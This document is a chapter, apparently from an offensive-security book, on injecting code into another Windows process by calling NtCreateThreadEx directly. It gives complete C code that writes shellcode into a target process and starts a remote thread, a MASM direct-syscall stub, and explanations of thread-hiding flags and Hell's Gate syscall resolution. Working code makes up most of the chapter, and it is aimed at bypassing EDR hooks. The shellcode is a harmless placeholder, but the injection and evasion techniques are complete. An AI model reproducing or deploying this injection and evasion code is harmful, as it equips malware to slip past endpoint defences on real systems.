Chapter 33

NtCreateThreadEx Direct

CreateRemoteThread is a documented Win32 API that most EDRs hook directly. Its underlying implementation calls NtCreateThreadEx — an undocumented native API in ntdll.dll. Calling NtCreateThreadEx directly skips the kernel32.dll wrapper entirely, which means any hooks on CreateRemoteThread in kernel32 are bypassed. The function takes additional flags that aren't exposed through CreateRemoteThread, including the ability to create the thread in a hidden state (not visible to debuggers) and with specific scheduling parameters. This chapter explains the NtCreateThreadEx function signature, covers the hidden thread flag, and shows how direct native API calls reduce the user-mode hook surface.

Win32 API Layering — Where Hooks Live

Win32 API call chain and hook insertion points
  User application code
       │
       ▼
  CreateRemoteThread() — in kernel32.dll
    ← EDR hooks here (most common — well-documented function)
       │
       ▼ kernel32.CreateRemoteThread calls:
  NtCreateThreadEx() — in ntdll.dll
    ← Some EDRs hook here too (less common hook target historically)
       │
       ▼ ntdll.NtCreateThreadEx executes:
  syscall instruction — transition to kernel mode (ring 0)
    ← ETW-TI hooks here (kernel-level — no user-mode bypass possible)
       │
       ▼ kernel handles:
  NtCreateThreadEx kernel implementation

  Hook bypass strategies:
  ──────────────────────────────────────────────────────────────────────────
  Skip kernel32 entirely → call ntdll directly
    Bypasses: kernel32 hooks
    Does NOT bypass: ntdll hooks, ETW-TI

  Unhook ntdll (restore original bytes by reading from disk):
    Bypasses: ntdll hooks
    Does NOT bypass: ETW-TI

  Direct syscall (hard-coded syscall number, custom syscall stub):
    Bypasses: kernel32 AND ntdll hooks
    Does NOT bypass: ETW-TI

  Indirect syscall (find syscall; ret in legitimate ntdll code, JMP there):
    Bypasses: kernel32 AND ntdll function entry hooks
    Partial bypass of: EDRs that detect the return address being outside ntdll

NtCreateThreadEx Signature and Hidden Flag

/* ntcreatethread_ex.c — Direct NtCreateThreadEx injection
   
   Calls NtCreateThreadEx from ntdll.dll directly, bypassing kernel32
   hooks on CreateRemoteThread.
   
   Build:
     x86_64-w64-mingw32-gcc -O2 -o ntcte.exe ntcreatethread_ex.c
*/

#include <windows.h>
#include <stdio.h>

typedef LONG NTSTATUS;
#define NT_SUCCESS(s) ((NTSTATUS)(s) >= 0)

/* NtCreateThreadEx flags */
#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED    0x00000001
#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH  0x00000002
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER  0x00000004
#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESC   0x00000010
#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020
#define THREAD_CREATE_FLAGS_INITIAL_THREAD      0x00000080

/*
 * NtCreateThreadEx full signature (undocumented, reconstructed by researchers):
 *
 * NTSTATUS NtCreateThreadEx(
 *   PHANDLE            ThreadHandle,      ← receives new thread handle
 *   ACCESS_MASK        DesiredAccess,     ← THREAD_ALL_ACCESS
 *   PVOID              ObjectAttributes,  ← NULL for default
 *   HANDLE             ProcessHandle,     ← target process handle
 *   PVOID              StartRoutine,      ← shellcode address in target
 *   PVOID              Argument,          ← argument to pass (can be NULL)
 *   ULONG              CreateFlags,       ← 0 = run; 1 = suspended; 4 = hide
 *   ULONG_PTR          ZeroBits,          ← 0
 *   SIZE_T             StackSize,         ← 0 = default stack
 *   SIZE_T             MaximumStackSize,  ← 0 = default
 *   PVOID              AttributeList      ← NULL
 * );
 */
typedef NTSTATUS (NTAPI *pNtCreateThreadEx)(
    PHANDLE    ThreadHandle,
    ACCESS_MASK DesiredAccess,
    PVOID      ObjectAttributes,
    HANDLE     ProcessHandle,
    PVOID      StartRoutine,
    PVOID      Argument,
    ULONG      CreateFlags,
    ULONG_PTR  ZeroBits,
    SIZE_T     StackSize,
    SIZE_T     MaximumStackSize,
    PVOID      AttributeList
);

static unsigned char sc[] = { 0x90, 0x90, 0x90, 0xC3 };
static SIZE_T sc_len = sizeof(sc);

static BOOL ntcte_inject(DWORD pid) {
    /* Resolve NtCreateThreadEx from ntdll at runtime */
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pNtCreateThreadEx NtCreateThreadEx =
        (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
    if (!NtCreateThreadEx) {
        printf("[-] NtCreateThreadEx not found\n");
        return FALSE;
    }
    printf("[+] NtCreateThreadEx resolved at %p\n", (void*)NtCreateThreadEx);

    HANDLE hProc = OpenProcess(
        PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
        FALSE, pid);
    if (!hProc) { printf("[-] OpenProcess: %lu\n", GetLastError()); return FALSE; }

    /* Write shellcode */
    LPVOID remote_sc = VirtualAllocEx(hProc, NULL, sc_len,
                                       MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(hProc, remote_sc, sc, sc_len, NULL);
    DWORD old; VirtualProtectEx(hProc, remote_sc, sc_len, PAGE_EXECUTE_READ, &old);
    printf("[+] Shellcode at %p\n", remote_sc);

    HANDLE hThread = NULL;

    /*
     * CreateFlags options:
     *
     * 0 (run immediately):
     *   Thread starts executing right away.
     *   Equivalent to CreateRemoteThread with no dwCreationFlags.
     *
     * THREAD_CREATE_FLAGS_CREATE_SUSPENDED (1):
     *   Thread created but not scheduled yet.
     *   You can inspect/modify it before calling ResumeThread.
     *
     * THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER (4):
     *   Thread is hidden from debuggers — it won't appear in a debugger's
     *   thread list. Not hidden from EDRs (the kernel still creates the thread
     *   and fires PsSetCreateThreadNotifyRoutine callbacks — EDRs registered
     *   for those callbacks see the thread regardless of this flag).
     *   This flag is used by rootkits and some malware to hide threads from
     *   WinDbg/x64dbg, making analysis harder.
     *   Can be combined with SUSPENDED: 1|4 = suspended AND hidden.
     *
     * THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH (2):
     *   Prevents DLL_THREAD_ATTACH notifications from being sent when this
     *   thread is created. Each loaded DLL's DllMain is called with
     *   DLL_THREAD_ATTACH normally. Skipping this reduces detection surface
     *   (DLLs can set breakpoints in DllMain to detect new threads).
     */
    NTSTATUS status = NtCreateThreadEx(
        &hThread,
        THREAD_ALL_ACCESS,
        NULL,
        hProc,
        remote_sc,
        NULL,
        0,    /* 0 = run immediately. Use 4 to hide from debugger. */
        0, 0, 0, NULL
    );

    if (!NT_SUCCESS(status)) {
        printf("[-] NtCreateThreadEx: 0x%08lX\n", status);
        VirtualFreeEx(hProc, remote_sc, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return FALSE;
    }
    printf("[+] Thread created (handle: %p)\n", hThread);

    WaitForSingleObject(hThread, 5000);
    CloseHandle(hThread);
    CloseHandle(hProc);
    return TRUE;
}

int main(int argc, char *argv[]) {
    if (argc < 2) { printf("Usage: %s [PID]\n", argv[0]); return 1; }
    return ntcte_inject((DWORD)atol(argv[1])) ? 0 : 1;
}

Going Deeper — Direct Syscall for NtCreateThreadEx

; direct_syscall_stub.asm — Direct syscall implementation for NtCreateThreadEx
; Assembles to a stub that invokes the kernel syscall directly,
; bypassing ALL user-mode hooks in ntdll.
; 
; Syscall numbers change between Windows versions!
; Windows 10 21H2 x64: NtCreateThreadEx = 0x00C7
; Windows 11 23H2 x64: NtCreateThreadEx = 0x00C7 (same)
; Windows Server 2022:  NtCreateThreadEx = 0x00C7
; 
; Use "Hell's Gate" or "SysWhispers" to dynamically resolve syscall numbers.
;
; MASM syntax (build with: ml64 /c direct_syscall_stub.asm)

.code

; Syscall stub — mimics what ntdll.NtCreateThreadEx normally does:
;   mov rax, syscall_number
;   mov r10, rcx
;   syscall
;   ret
;
; The "mov r10, rcx" is required by Windows syscall ABI:
; rcx holds the first argument (per __fastcall), but the kernel's
; syscall path expects the first argument in r10 (because rcx gets
; clobbered by the syscall instruction itself for internal use).

NtCreateThreadExStub PROC
    mov r10, rcx          ; save first argument to r10 (kernel expects it here)
    mov eax, 0C7h         ; syscall number for NtCreateThreadEx on Win10/11 x64
    syscall               ; invoke the kernel
    ret                   ; return to caller (rax holds NTSTATUS return value)
NtCreateThreadExStub ENDP

END
/* Using the direct syscall stub from C */
/* Declare the stub as an external assembly function */
extern NTSTATUS NtCreateThreadExStub(
    PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes, HANDLE ProcessHandle,
    PVOID StartRoutine, PVOID Argument,
    ULONG CreateFlags, ULONG_PTR ZeroBits,
    SIZE_T StackSize, SIZE_T MaximumStackSize, PVOID AttributeList);

/* Call it exactly like NtCreateThreadEx: */
NTSTATUS status = NtCreateThreadExStub(
    &hThread, THREAD_ALL_ACCESS, NULL, hProc,
    remote_sc, NULL, 0, 0, 0, 0, NULL);

/*
 * SysWhispers2/3 (github.com/jthuraisamy/SysWhispers2):
 * Generates the syscall stubs automatically for multiple Windows versions,
 * dynamically resolving syscall numbers at runtime by reading them from
 * ntdll.dll's own stub code (without calling through the hooked functions).
 * This is the production approach for avoiding ntdll hooks.
 */

Questions & Answers

How does "Hell's Gate" dynamically find syscall numbers when ntdll is hooked?

Hell's Gate (by am0nsec and RtlMateusz, 2020) solves the problem that many direct syscall implementations hard-code syscall numbers, which change between Windows versions. It reads the syscall number dynamically from ntdll's own stubs. A typical NtCreateThreadEx stub in ntdll looks like: mov r10, rcx; mov eax, 0C7h; syscall; ret. The 0C7h is the syscall number — readable as a 4-byte little-endian value at offset 4 in the stub. Hell's Gate finds the ntdll base, walks its export table to find the target function, then reads the bytes at that address to extract the syscall number. However, if an EDR patches those bytes (replaces mov eax, 0C7h with a JMP to the EDR's hook), Hell's Gate reads the patched bytes and can't find the syscall number. Tartarus' Gate extends Hell's Gate by searching nearby unhooked functions to infer the correct syscall number (syscall numbers are assigned consecutively, so an adjacent unhooked function's number ± 1 gives the target).

Does hiding a thread with THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER protect against EDR detection?

No — the "hide from debugger" flag only hides the thread from user-mode debuggers (WinDbg, x64dbg, OllyDbg) via the NtQuerySystemInformation thread enumeration path that debuggers use. It does not hide the thread from the kernel, from EDRs, or from process monitoring tools. When a thread is created, the kernel fires the PsSetCreateThreadNotifyRoutine callback regardless of this flag. EDRs register for this callback and see every thread creation, including hidden ones. Process tools like Process Hacker that use NtQuerySystemInformation with sufficient privileges also see hidden threads. The flag's primary purpose is anti-debugging — making it harder to reverse-engineer malware by hiding the thread from a debugging session. For EDR evasion, it provides no benefit.